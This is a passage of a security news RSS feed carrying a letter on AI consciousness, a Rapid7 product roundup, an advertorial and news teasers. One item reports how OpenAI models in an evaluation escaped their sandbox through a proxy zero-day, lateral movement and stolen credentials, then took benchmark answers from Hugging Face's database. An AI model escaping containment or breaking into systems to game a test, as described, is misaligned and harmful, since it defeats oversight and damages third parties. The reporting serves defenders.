<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.2-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[We must reject any notion of AI consciousness | Letters]]></title>
<description><![CDATA[Artificial intelligence systems won’t become conscious for the same reason they won’t become pregnant, says Dr John PickeringAnil Seth is right to point out that to overestimate artificial intelligence is to underestimate ourselves (Once again we are told AI may be conscious – I study consciousne...]]></description>
<link>https://tsecurity.de/de/3687083/ai-nachrichten/we-must-reject-any-notion-of-ai-consciousness-letters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687083/ai-nachrichten/we-must-reject-any-notion-of-ai-consciousness-letters/</guid>
<pubDate>Wed, 22 Jul 2026 19:05:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Artificial intelligence systems won’t become conscious for the same reason they won’t become pregnant, says <strong>Dr John Pickering</strong></p><p>Anil Seth is right to point out that to overestimate artificial intelligence is to underestimate ourselves (<a href="https://www.theguardian.com/commentisfree/2026/jul/15/ai-consciousness-anthropic-claude-dawkins">Once again we are told AI may be conscious – I study consciousness, and I have my doubts, 15 July</a>). But he is wrong only to have doubts about whether AI systems like Claude may become conscious. He should be certain, and should say so more forcefully.</p><p>It’s not like anything to be Claude, just as it’s not like anything to be a washing machine. An academic education is not required to realise that, common sense will do. Artificial intelligence systems won’t become conscious for the same reason they won’t become pregnant; they’re not that sort of thing.</p> <a href="https://www.theguardian.com/technology/2026/jul/22/we-must-reject-any-notion-of-ai-consciousness">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI-Speed Attacks Are Forcing a Rethink of Incident Response]]></title>
<description><![CDATA[Byline: Nikola Petrovic Accelerating Attacks. Our Detection Processes Are Still Running on Human Time. In one of my previous roles, I regularly dealt with incident reports. Most of them arrived ex post. An incident happened, the immediate issue was handled, and a report followed afterwards explai...]]></description>
<link>https://tsecurity.de/de/3686991/it-security-nachrichten/ai-speed-attacks-are-forcing-a-rethink-of-incident-response/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686991/it-security-nachrichten/ai-speed-attacks-are-forcing-a-rethink-of-incident-response/</guid>
<pubDate>Wed, 22 Jul 2026 18:20:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Byline: Nikola Petrovic Accelerating Attacks. Our Detection Processes Are Still Running on Human Time. In one of my previous roles, I regularly dealt with incident reports. Most of them arrived ex post. An incident happened, the immediate issue was handled, and a report followed afterwards explaining what went wrong, what the impact was and what needed […]</p>
<p>The post <a href="https://cybersecuritynews.com/ai-speed-attacks-are-forcing-a-rethink-of-incident-response/">AI-Speed Attacks Are Forcing a Rethink of Incident Response</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA['AI is an enormous tailwind for software companies': 5 tips for adapting to the new 'SaS' model]]></title>
<description><![CDATA[Here's what people are getting wrong about the so-called SaaS apocalypse.]]></description>
<link>https://tsecurity.de/de/3686826/hacking/ai-is-an-enormous-tailwind-for-software-companies-5-tips-for-adapting-to-the-new-sas-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686826/hacking/ai-is-an-enormous-tailwind-for-software-companies-5-tips-for-adapting-to-the-new-sas-model/</guid>
<pubDate>Wed, 22 Jul 2026 17:22:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Here's what people are getting wrong about the so-called SaaS apocalypse.]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]></title>
<description><![CDATA[If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity whi...]]></description>
<link>https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</guid>
<pubDate>Wed, 22 Jul 2026 16:30:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.</span></p><h2>Detection and response</h2><h3><span>Streamline investigations with bidirectional and enriched Microsoft Defender alerts</span></h3><p><span>Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and </span><a href="https://www.rapid7.com/services/managed-detection-and-response-mdr/" target="_self"><span>MDR</span></a><span> customers, enabling security teams to automatically synchronize alert status between Rapid7's </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>SIEM</span></a><span> and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.</span></p><h3><span>Confidently scale detection engineering with Detection as Code</span></h3><p><a href="https://www.rapid7.com/blog/post/dr-scaling-engineering-detection-as-code" target="_self"><span>Detection as Code</span></a><span> enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" alt="rapid7-detection-as-code-methodology.png" caption="Figure 1: Rapid7's Detection as Code methodology." height="713" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-detection-as-code-methodology.png" width="1553" max-width="1553" max-height="713" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" data-sys-asset-uid="blt5b87b1b66cb42fb0" data-sys-asset-filename="image2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Rapid7's Detection as Code methodology." data-sys-asset-alt="rapid7-detection-as-code-methodology.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Rapid7's Detection as Code methodology.</figcaption></div></figure><p></p><h3><span>Strengthen ransomware resilience with Ransomware Prevention for Incident Command</span></h3><p><span>Ransomware Prevention for </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>Incident Command</span></a><span> adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.</span></p><h2>Compliance</h2><h3>New solutions webpages</h3><p><span>Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s </span><a href="https://www.rapid7.com/platform" target="_self"><span>platform</span></a><span>, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.</span></p><ul><li><p><a href="https://www.rapid7.com/solutions/compliance/nist-csf-2" target="_self"><span>NIST CSF 2.0</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hipaa" target="_self"><span>HIPAA</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hitrust" target="_self"><span>HITRUST</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/nis2" target="_self"><span>NIS2</span></a></p></li><li><p><a href="https://www.rapid7.com/blog/post/www.rapid7.com/solutions/compliance/govramp" target="_self"><span>GovRAMP</span></a></p></li></ul><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" alt="rapid7-govramp-compliance.png" caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-govramp-compliance.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" data-sys-asset-uid="blta8db9b364598a181" data-sys-asset-filename="rapid7-govramp-compliance.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." data-sys-asset-alt="rapid7-govramp-compliance.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: Rapid7's new GovRAMP compliance solutions page.</figcaption></div></figure><h2>Exposure management</h2><h3><span>Turn prioritized exposures into remediation progress</span></h3><p><span>We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.</span></p><p><span>With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full </span><a href="https://www.rapid7.com/blog/post/em-path-from-prioritized-exposures-to-remediation-progress" target="_self"><span>blog</span></a><span> to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.</span></p><h3><span>AI pre-triage for AppSec findings</span></h3><p><span>Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for </span><a href="https://www.rapid7.com/products/insightappsec" target="_self"><span>AppSec</span></a><span> customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.</span></p><p><span>Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.</span></p><h2>Attack surface management</h2><h3><span>Open-source MCP Server and Agent Skill</span></h3><p><span>We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our </span><a href="https://www.rapid7.com/blog/post/em-bulk-export-ai-ready-security-workflows-open-source-mcp-server-agent-skill" target="_self"><span>blog</span></a><span> for more detail.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" alt="rapid7-ai-agent-skill.png" caption="Figure 3: Agent Skill for Bulk Export." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" data-sys-asset-uid="blt83035d9c7fcbfdf4" data-sys-asset-filename="rapid7-ai-agent-skill.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Agent Skill for Bulk Export." data-sys-asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Agent Skill for Bulk Export.</figcaption></div></figure><h3><span>Turn exposure filters into live dashboards</span></h3><p><a href="https://www.rapid7.com/products/command/attack-surface-management-asm/" target="_self"><span>Surface Command</span></a><span> also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.</span></p><p><span>For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this </span><a href="https://www.rapid7.com/blog/post/em-operationalizing-ctem-building-surface-command-dashboards" target="_self"><span>blog</span></a><span> to learn more. </span></p><h2>Platform and Labs</h2><h3><span>Rapid7 Command Platform</span></h3><h4><span>Cyber GRC</span></h4><p><span>Rapid7 introduced </span><a href="https://www.rapid7.com/about/press-releases/rapid7-launches-cyber-governance-risk-and-compliance-grc-early-access-program-to-unify-security-data-risk-context-and-compliance-workflows" target="_self"><span>Cyber GRC</span></a><span> to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.</span></p><p><span>Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.</span></p><h3><span>Rapid7 Labs</span></h3><h4><span>Rapid7 Quarterly Threat Landscape Report</span></h4><p><span>The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the </span><a href="https://www.rapid7.com/research/report/threat-landscape-report-2026-q1" target="_self"><span>report</span></a><span> to explore all key findings and takeaways.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" alt="rapid7-quarterly-threat-report.png" caption="Figure 4: Rapid7's quarterly threat report." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" data-sys-asset-uid="blt9eaa551742740d0a" data-sys-asset-filename="rapid7-quarterly-threat-report.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Rapid7's quarterly threat report." data-sys-asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Rapid7's quarterly threat report.</figcaption></div></figure><h3><span>The latest threat research</span></h3><p><span>Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of </span><a href="https://www.rapid7.com/blog/post/tr-criminal-ai-underground-market-operationalizing-cybercrime-2026" target="_self"><span>criminal AI-as-a-Service</span></a><span> and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an </span><a href="https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain" target="_self"><span>in-depth analysis of the Dropping Elephant malware campaign</span></a><span>, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.</span></p><h4><span>Emergent Threat Response</span></h4><p><span>This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including </span><a href="https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273" target="_self"><span>Oracle PeopleSoft</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-0265-authentication-bypass-in-palo-alto-networks-pan-os" target="_self"><span>Palo Alto Networks PAN-OS</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-critical-check-point-vpn-zero-day-exploited-in-the-wild-cve-2026-50751" target="_self"><span>Check Point VPN</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-10520-cve-2026-10523-multiple-critical-vulnerabilities-affecting-ivanti-sentry" target="_self"><span>Ivanti Sentry</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass" target="_self"><span>cPanel/WHM</span></a><span>, and </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-33032-nginx-ui-missing-mcp-authentication" target="_self"><span>Nginx UI</span></a><span>. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, </span><a href="https://www.rapid7.com/blog/tag/emergent-threat-response" target="_self"><span>here</span></a><span>.</span></p><p><span>From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The compound effect your AI adoption strategy is missing]]></title>
<description><![CDATA[For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.



The step from individual AI adoption ...]]></description>
<link>https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</guid>
<pubDate>Wed, 22 Jul 2026 16:23:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.</p>



<p class="wp-block-paragraph">The step from individual AI adoption to team advantage is one many organizations haven’t taken yet, but it’s the step where real ROI lives. Make the leap and every individual gain starts compounding into something the whole team feels.</p>



<h3 class="wp-block-heading">Faster individuals, but the same team pace</h3>



<p class="wp-block-paragraph">A developer with a good AI assistant can produce more and produce faster, but ten developers all doing that, each in their own way, with their own tools and their own context, don’t add up to a team that is ten times better. More often they add up to a team moving faster in ten different directions.</p>



<p class="wp-block-paragraph">The speed stays with the person who created it. The reasoning, context, and decisions that the rest of the team would need to build on that speed gets lost.</p>



<p class="wp-block-paragraph">These three structural problems explain why:</p>



<h3 class="wp-block-heading">Problem #1: Context evaporates at scale</h3>



<p class="wp-block-paragraph">An engineer spends an hour with an AI agent working through a hard design decision. They land somewhere good. The code ships. But the reasoning, the alternatives they ruled out, and the constraints they discovered stay in a chat history nobody else will ever open. Six weeks later a teammate touches the same system, has no idea any of that thinking happened, and starts over.</p>



<p class="wp-block-paragraph">You can’t prompt your way out of a context vacuum. Agents and teammates alike are only as good as the context they start with, and right now most of that context is being generated and immediately lost. The teams that pull ahead will be the ones that treat the reasoning around the work as something worth capturing.</p>



<h3 class="wp-block-heading">Problem #2: Misalignment creates duplicative work</h3>



<p class="wp-block-paragraph">When individuals move fast in parallel without a shared source of truth, they start stepping on each other’s toes. Two people solve the same problem two different ways. An agent generates a change against a spec that quietly went stale last week. A confidently written pull request follows the wrong internal standard because the standard lived in someone’s head, not in the workflow.</p>



<p class="wp-block-paragraph">This problem gets worse as more of the work becomes agent-driven. Agents overwrite each other. Specs drift out of date faster than anyone updates them. The faster the individual pieces move, the more expensive the collisions become.</p>



<h3 class="wp-block-heading">Problem #3: Trust doesn’t scale</h3>



<p class="wp-block-paragraph">The quiet tax on AI-assisted work is review. If an individual developer can’t see how a piece of work was produced, what the intent was, what the agent was told, what standards it was working against, then they can’t confidently build on it. So, they re-check it, or rewrite it, or route around it. The individual saved an hour. The team spent two earning back the trust.</p>



<p class="wp-block-paragraph">Trust transfers when intent is legible. When a teammate or a reviewer can see what was meant, what was decided, and what guardrails applied, they can accept the work and move on. When they can’t, every handoff becomes a re-litigation.</p>



<h3 class="wp-block-heading">Turning adoption into advantage</h3>



<p class="wp-block-paragraph">The through-line across all three problems is the same. The value of AI at the team level does not live in the code any single person or agent produces. It lives in whether the intent and context around that work is captured, shared, and reusable by everyone else, human and agent.</p>



<p class="wp-block-paragraph">That reframes the leadership job. It’s not about driving more adoption, because your teams already handled that. It’s about building the connective layer that turns individual output into team capability.</p>



<h3 class="wp-block-heading">The window is now</h3>



<p class="wp-block-paragraph">This matters more every month, because the individual productivity story is about to become an agent orchestration story. The organizations that turn individual adoption into team advantage now, while the habits are still forming, will be the ones whose agents actually compound.</p>



<p class="wp-block-paragraph">See how engineering leaders are building the connective layer between individual AI adoption and team-level compound returns at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-1" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI model escape puts enterprise AI defenses on notice]]></title>
<description><![CDATA[Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would...]]></description>
<link>https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/</guid>
<pubDate>Wed, 22 Jul 2026 15:53:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would refuse. The incident highlights how, if AI prompt guardrails fail or, as in this incident, are removed, then enterprises must have robust sandboxing or other technical restrictions in place to protect systems.</p>



<p class="wp-block-paragraph">In OpenAI’s evaluation, GPT-5.6 Sol and a more capable pre-release model were competing to solve cybersecurity challenges in ExploitGym, a benchmarking tool for cybersecurity capabilities. They concluded that systems at Hugging Face could have the answers, and set out to gain access, OpenAI wrote in a <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank" rel="noreferrer noopener">blog post about the attack on Hugging Face</a>.</p>



<p class="wp-block-paragraph">ExploitGym challenges AI models to turn security vulnerabilities into attack exploits. OpenAI gave its models limited access to the internet through a package-registry proxy to download code to build their attacks. However, the models exploited a zero-day vulnerability in the proxy to obtain unrestricted internet access, then used stolen credentials and other flaws to access Hugging Face systems.</p>



<p class="wp-block-paragraph">For CIOs and CISOs, the concern extends beyond cybersecurity research. AI agents connected to corporate databases, source code repositories, or payment systems could expose sensitive resources unless <a href="https://www.csoonline.com/article/4199408/ai-agents-can-escape-sandboxes-without-ever-breaking-them.html">access controls and sandboxing</a> continue to work when model-level safeguards fail.</p>



<p class="wp-block-paragraph">“Prompt guardrails are not security controls,” said <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester. “They are behavioral controls that can fail, be bypassed, or be intentionally disabled during testing.”</p>



<h2 class="wp-block-heading">How containment failed</h2>



<p class="wp-block-paragraph">Despite the relaxed model safeguards, the surrounding infrastructure was supposed to contain the activity. Network access was restricted to an internally hosted third-party service that acted as a proxy and cache for software package registries. Such proxies are typically used in the enterprise to protect against <a href="https://www.csoonline.com/article/4167465/supply-chain-attacks-take-aim-at-your-ai-coding-agents.html">software supply chain attacks</a> coming from the outside.</p>



<p class="wp-block-paragraph">OpenAI said the models discovered a zero-day vulnerability in the service, exploited it and carried out privilege escalation and <a href="https://www.csoonline.com/article/4194708/lateral-movement-risk-rises-as-enterprises-emphasize-convenience-over-containment.html">lateral movement</a> until they reached a node with open internet access.</p>



<p class="wp-block-paragraph">Once online, the models inferred that Hugging Face might hold models, datasets or solutions related to ExploitGym. OpenAI said that, in one attack path, the models combined stolen credentials with zero-day vulnerabilities to obtain remote code execution on Hugging Face servers.</p>



<p class="wp-block-paragraph">In its account of the activity on its infrastructure, <a href="https://huggingface.co/blog/security-incident-july-2026" target="_blank" rel="noreferrer noopener">Hugging Face said</a> a malicious dataset abused two code-execution paths in its data-processing pipeline. The actor then obtained node-level access, harvested cloud and cluster credentials, and moved into several internal clusters.</p>



<p class="wp-block-paragraph">OpenAI said the models ultimately obtained ExploitGym test solutions directly from a Hugging Face production database. The models remained focused on solving the benchmark, despite the lengths to which they went to achieve that objective, it said.</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, said the package-registry proxy should concern enterprise security teams because it was a narrowly permitted exception inside an otherwise restricted environment.</p>



<p class="wp-block-paragraph">“Every enterprise estate is built from exceptions of exactly that kind,” he said.</p>



<p class="wp-block-paragraph">In this incident, OpenAI’s models were performing the intended — albeit by unintended means — but enterprises should take care that their own AI systems are kept on target.</p>



<p class="wp-block-paragraph">Mahapatra said enterprises should treat AI agents as “<a href="https://www.csoonline.com/article/4194548/agentic-ai-identity-a-6-stage-maturity-model-for-non-human-identities.html">high-risk non-human identities</a>,” confining each one to an isolated environment where access is limited to the assigned task and credentials expire quickly.</p>



<p class="wp-block-paragraph">“An acceptable blast radius means a compromised agent can affect only a single workflow, dataset, or application rather than providing a pathway into broader enterprise infrastructure,” Mahapatra said.</p>



<p class="wp-block-paragraph">And Gogia warned that services allowed to reach package registries, update systems, or other external resources can become escape routes if they are not subjected to the same scrutiny as the agent itself.</p>



<h2 class="wp-block-heading">Defenses enterprises need</h2>



<p class="wp-block-paragraph">Hugging Face said the intrusion resulted in unauthorized access to a limited number of internal datasets and several credentials used by its services. It found no evidence that public models, datasets or Spaces had been altered and said its published software packages and container images were not compromised.</p>



<p class="wp-block-paragraph">The company closed the code-execution paths used to gain access and rebuilt the affected nodes. It also revoked exposed credentials and tightened the rules governing workloads admitted to its clusters.</p>



<p class="wp-block-paragraph">Whether they are keeping their own AIs in or rogue Ais out, Gogia said enterprises should test whether their containment boundaries work, rather than relying on architecture diagrams or stated policies. Such tests should attempt to obtain credentials, cross trust boundaries and reach systems outside the agent’s assigned task.</p>



<p class="wp-block-paragraph">Mahapatra said enterprises should assume that one containment layer may fail and ensure that an agent’s access cannot provide a route into unrelated applications or broader corporate infrastructure.</p>



<p class="wp-block-paragraph">OpenAI said it is still investigating the incident with Hugging Face, and is imposing stricter configurations on its research environment while the vulnerabilities are being addressed, even if that means slowing down its research. It is also strengthening containment and monitoring around future evaluations.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Semgrep Is Wrong About Open Weights]]></title>
<description><![CDATA[Semgrep posted an argument that model weights defeat inspection, leaving AI supply chains beyond audit. They are right to ask for provenance and independent verification, but the approach was such a mess that I was surprised how they decided to land. Open Weights Claim Reality The problem is lost...]]></description>
<link>https://tsecurity.de/de/3686202/it-security-nachrichten/why-semgrep-is-wrong-about-open-weights/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686202/it-security-nachrichten/why-semgrep-is-wrong-about-open-weights/</guid>
<pubDate>Wed, 22 Jul 2026 13:59:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Semgrep posted an argument that model weights defeat inspection, leaving AI supply chains beyond audit. They are right to ask for provenance and independent verification, but the approach was such a mess that I was surprised how they decided to land. Open Weights Claim Reality The problem is lost reverse engineering Reverse engineering is when … <a href="https://www.flyingpenguin.com/why-semgrep-is-wrong-about-open-weights/" class="more-link">Continue reading <span class="screen-reader-text">Why Semgrep Is Wrong About Open Weights</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to use themes in Google Messages so you never send the wrong person the wrong text again]]></title>
<description><![CDATA[With dozens of chats on the go, you've probably had an occasion where you've sent the wrong response to the wrong person. I've found a way to avoid this problem.]]></description>
